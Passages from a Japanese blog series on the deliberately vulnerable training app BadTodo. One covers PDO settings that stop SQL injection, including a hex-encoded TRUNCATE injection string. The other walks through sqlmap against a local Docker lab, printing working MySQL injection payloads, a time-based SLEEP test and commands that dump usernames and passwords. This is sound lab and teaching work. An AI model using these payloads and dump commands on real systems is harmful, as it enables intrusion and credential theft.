|  1 |     1 | パソコンを買う                 | 2023-12-11 | 2023-12-12 |    0 | NULL | NULL         | NULL          | NULL | NULL     |      1 |
|  2 |     2 | 依頼の原稿を書く               | 2023-12-11 | 2023-12-18 |    0 | NULL | memo.txt     | memo.txt      | NULL | NULL     |      1 |
|  3 |     1 | 政府高官との会食アポ           | 2023-12-11 | 2023-12-14 |    0 | NULL | NULL         | NULL          | NULL | NULL     |      0 |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
SET NAMES sjis
Execute  SET NAMES sjis
Close stmt
Prepare  SELECT id, userid FROM users WHERE userid=?
Execute  SELECT id, userid FROM users WHERE userid=X'955C273B205452554E4341544520746F646F733B2D2D20'

PrepareとExecuteで実行され、'27などになり無害となっています。

さらに補足

`PDO::ATTR_EMULATE_PREPARES => false`は必要か?の記事で徳丸さんがコメントされており、

すなわち、以下のようなことは言えるかと思います。
・過去にはプレースホルダのエミュレーションの脆弱性が発見されたことがあったが、最近は報告がないようだ
・過去にあった脆弱性もUnicodeとJIS系エンコーディングを混在した場合のものであり、Unicode(UTF-8等)での統一が一般的になった状況では、エミュレーションの脆弱性は考えにくい
し・か・し・な・が・ら、原理的に安全というのと、実装に問題がなければ安全というのは、安全のレベルとしては全然違います。なので、最近私は、無理に静的プレースホルダ(エミュレーションオフ)を推奨してはいませんが、「理論的にはこうなので、組織あるいはプロジェクトとして、リスクとメリットを考慮して決めてください」という言い方をしています。

とのことです。

また「安全なWebアプリケーションの作り方 p.163」では複文の実行を禁止する設定としてPDO::MYSQL_ATTR_MULTI_STATEMENTS => falseも設定していますが、PHP 5.5.21 および 5.6.5 以降が対象のようです。
PHP: MySQL (PDO) - Manual
「この定数が使えるのは、データベースハンドルを新規作成する際の driver_options 配列内だけであることに注意しましょう。」
PDOに複文実行を禁止するオプションが追加されていた | 徳丸浩の日記
「すなわち、new PDOする際に、driver_options配列に上記を設定すればよい」「PDO::MYSQL_ATTR_MULTI_STATEMENTS が存在する場合のみ、このオプションを指定」

BadTodoに合わせるとこんな感じかと思います。

<?php
~(中略)~
  $opt = array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
               PDO::ATTR_EMULATE_PREPARES => false);
  if (defined('PDO::MYSQL_ATTR_MULTI_STATEMENTS')) {
    $opt[PDO::MYSQL_ATTR_MULTI_STATEMENTS] = false;
  }
  $dbh = new PDO("mysql:host=$dbhost;dbname=todo;charset=utf8", 'root', 'wasbook', $opt);

さらに上記teratailのQ&A内で「2021/04/22 に開催された Club MySQL #5 ~SQLデータベースのセキュリティ~ の動画で、徳丸さんが『動的プレースホルダを使用することのメリット』に関してユーザ会に質問している動画」のリンクも貼られていて全体を通して興味深い内容でした。
Club MySQL #5 ~SQLデータベースのセキュリティ - YouTube

日が経って再度脆弱性を試すときに修正済みであったことを忘れて「あれ?動かない」となりがちなので忘れないうちに元のコードに戻しておいてください。

後日「Todo検索画面」の方も修正を試します。こちらには「LIKE記述とワイルドカード(%や_)」についての問題もありそうです。

SQL Injection Prevention - OWASP Cheat Sheet Series

SQLインジェクション対策の極意はSQL文を組み立てないことにあり (1/4)|CodeZine(コードジン) 2ページ目以降のストアドプロシージャでのSQLインジェクション対策についても一読を。

次回:BadTodo - 3.10 ブラインドSQLインジェクション (Boolean-Based) 練習 - demandosigno

やられアプリ BadTodo - 3.8 SQLインジェクション sqlmapを使う

前回:やられアプリ BadTodo - 3.7 SQLインジェクション idパラメータに対して - demandosigno

sqlmap はSQLインジェクションを検出するためのオープンソースのテストツールです。
sqlmap: automatic SQL injection and database takeover tool

これまでの検査でDB名やテーブル名など一通り分かっていますが sqlmapでも試してみます。

前提

Docker版 BadTodoを対象としており、DockerにはKali Linuxをインストール済みだったため、今回はKali からslqmapを実行しました。
手っ取り早く試すならBadTodo自体にsqlmapをインストールし127.0.0.1を対象として検査してみるで良いかと思います。
https://github.com/sqlmapproject/sqlmap
Kali LinuxをDocker Desktopにインストールする - demandosigno
Dockerコンテナ間での通信を行えるようにする - demandosigno

Todo検索画面でのSQLインジェクションを試します。
対象リクエストGET http://172.19.0.2/todo/todolist.php?key=test

コンテナ名かIPで検査対象との疎通確認。

┌──(kali㉿d617763b20cd)-[~]
└─$ ping -c 2 badtodo-apache
PING badtodo-apache (172.19.0.2) 56(84) bytes of data.
64 bytes from badtodo-apache.kali_badtodo (172.19.0.2): icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from badtodo-apache.kali_badtodo (172.19.0.2): icmp_seq=2 ttl=64 time=0.055 ms
 
┌──(kali㉿d617763b20cd)-[~]
└─$ ping -c 2 172.19.0.2
PING 172.19.0.2 (172.19.0.2) 56(84) bytes of data.
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.062 ms
64 bytes from 172.19.0.2: icmp_seq=2 ttl=64 time=0.044 ms

sqlmap実行

-u : 検査対象のURL

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test"
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7.11#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

~(中略)~
[WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit](c を入力してEnter)
~(中略)~
[INFO] testing for SQL injection on GET parameter 'key'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n](y を選択)
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n](y を選択)
~(中略)~
[INFO] GET parameter 'key' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'key' is vulnerable. Do you want to keep testing the others (if any)? [y/N] (y を選択)

sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests:
---
Parameter: key (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: key=test' AND 7963=7963 AND 'UBDs'='UBDs

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: key=test' AND (SELECT 1614 FROM(SELECT COUNT(*),CONCAT(0x716a766a71,(SELECT (ELT(1614=1614,1))),0x71706a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'LTbU'='LTbU

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: key=test';SELECT SLEEP(5)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: key=test' AND (SELECT 2318 FROM (SELECT(SLEEP(5)))rmbe) AND 'soVa'='soVa

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: key=test' UNION ALL SELECT NULL,CONCAT(0x716a766a71,0x41624b6a6354784b4244754574526e52694c685a7a77485852544b505a4464576d71434f68574451,0x71706a7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[20:38:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.57, PHP 5.3.3
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

DBMS は MySQL"key"パラメータに各種SQLインジェクションを指摘されています。
ここでは Time-based blind SQLインジェクションを試してみます。

例の通り入力
test' AND (SELECT 2318 FROM (SELECT(SLEEP(5)))rmbe) AND 'soVa'='soVa 送信。

レスポンスが返ってくるのに少し時間がかかります。
BurpのRepeaterに回し、再送信してみます。

レスポンスに5,100ms≒5秒かかっており、SQL文が実行されたことが分かります。
(MySQLでは SLEEP() 関数で指定した秒数だけ処理がスリープされます。SELECT SLEEP(秒数);)

一般的な検査方法

--dbs : 発見したデータベース一覧を列挙する
--proxy : 今回はリクエストの中身を見るため BurpSuiteを経由させる
--dbms : 指定したDBに絞って攻撃

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL --dbs
~(中略)~
fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] todo

-D : 使用するDBを指定
--tables : テーブル一覧を列挙

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL -D todo --tables
~(中略)~
[INFO] fetching tables for database: 'todo'
Database: todo
[3 tables]
+---------+
| session |
| todos   |
| users   |
+---------+

-T : 使用するテーブル
--columns : カラム一覧を列挙

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL -D todo -T users --columns
~(中略)~
[INFO] fetching columns for table 'users' in database 'todo'
Database: todo
Table: users
[6 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| super  | int(11)      |
| email  | varchar(64)  |
| icon   | varchar(128) |
| id     | int(11)      |
| pwd    | varchar(6)   |
| userid | varchar(64)  |
+--------+--------------+

-C : テーブルのカラムを指定
--dump : DBMSデータベースのテーブルエントリをダンプする

$ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --proxy="http://127.0.0.1:8080" --dbms=MySQL -D todo -T users -C userid,pwd --dump
~(中略)~
[INFO] fetching entries of column(s) 'pwd,userid' for table 'users' in database 'todo'
Database: todo
Table: users
[2 entries]
+---------+--------+
| userid  | pwd    |
+---------+--------+
| admin   | passwd |
| wasbook | wasboo |
+---------+--------+

POSTリクエストの場合(例:Todoを削除するリクエスト)

--data : POSTボディパラメータ
cookie : ログインしているユーザのcookie
--csrf-token : CSRFトークン名
--csrf-url : トークンが取得できるURL

$ sqlmap -u "http://172.19.0.2/todo/editlist.php" --data="todotoken=f4184427b0e98edf52d877ee6f8126c6&id%5B%5D=7&process=dellist" cookie="0cd2c678b144d6cc49c4d35c238cf382" --proxy="http://127.0.0.1:8080" --csrf-token="todotoken" --csrf-url="http://172.19.0.2/todo/todolist.php" --dbms=MySQL
~(中略)~
[CRITICAL] all tested parameters do not appear to be injectable.

この例ではSQLインジェクションは見つかりませんでした。

補足

[WARNING] target URL content is not stable :
ターゲットURLのコンテンツが安定していない。リクエスト毎にレスポンスの差異が大きいという判定。レスポンスの差分を検知することでSQLインジェクションの判定を行うため(通常レスポンスと大きく異なるということは何かしらSQL文の実行結果が表示された可能性がある)、そもそもの通常リクエストが安定していないと検知に支障が出るようです。しかし sqlmapには不安定なターゲットに由来する潜在的な "ノイズ "を自動的に除去する高度なメカニズムがあるそうなので「(C)ontinue」で問題ないようです。安定している場合は "URL Content is stable." となります。

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
ターゲットが特定の DBMS を使用していることが明確に示されている場合、通常のテストだけでなく特定の DBMS に対するテストを拡張することも可能です。
これは基本的に、その特定の DBMS に対してすべての SQL インジェクションのペイロードを実行することを意味します。
(risk は 1~3、level は 1~5 がある)
レベル2ではHTTP Cookieヘッダーのテストが追加され、レベル3ではHTTP User-Agent/Refererヘッダーが追加される。
リスク値 2 はデフォルトのレベルにクエリ時間ベースの重いSQLインジェクションのテストを追加し、3はOR ベースのSQLインジェクションのテストも追加する。

--level 1 --risk 1: 53 requests --level 2 --risk 1: 342 requests
--level 3 --risk 1: 1080 requests
--level 4 --risk 1: 2060 requests
--level 5 --risk 1: 3280 requests
When increasing to --risk 3, the number of tests increases further:

--level 1 --risk 3: 112 requests
--level 2 --risk 3: 646 requests
--level 3 --risk 3: 2160 requests
--level 4 --risk 3: 4320 requests
--level 5 --risk 3: 7850 requests
sql injection - What are the consequences of increasing the "--risk" option of sqlmap? - Information Security Stack Exchange

[CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
Proxyが影響している場合がある。検査対象をProxy経由で見ている場合はProxyを外す。または --proxy オプションを正しく使用する。

[WARNING] time-based comparison requires larger statistical model, please wait.. (done)
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[警告]時間ベースの比較には、より大きな統計モデルが必要です。
少なくとも1つの他の(可能性のある)テクニックが見つからない場合は、基本的なUNIONテストのみを実行することをお勧めします。リクエスト数を減らしますか?[Y/n]

再検査を行う時は --flush-session オプションを付ける。
例 $ sqlmap -u "http://172.19.0.2/todo/todolist.php?key=test" --flush-session

https://book.hacktricks.xyz/v/jp/pentesting-web/sql-injection/sqlmap
Step 13: SQLMap Essentials. Apologies everyone, been a couple of… | by Josh Gates | Medium
ハッカーはsqlmapでSQLインジェクションの欠陥を検出する(Kali Linux) | AIを武器にホワイトハッカーになる

次回:やられアプリ BadTodo - 3.9 SQLインジェクション 対策方法 - demandosigno

/* -----codeの行番号----- */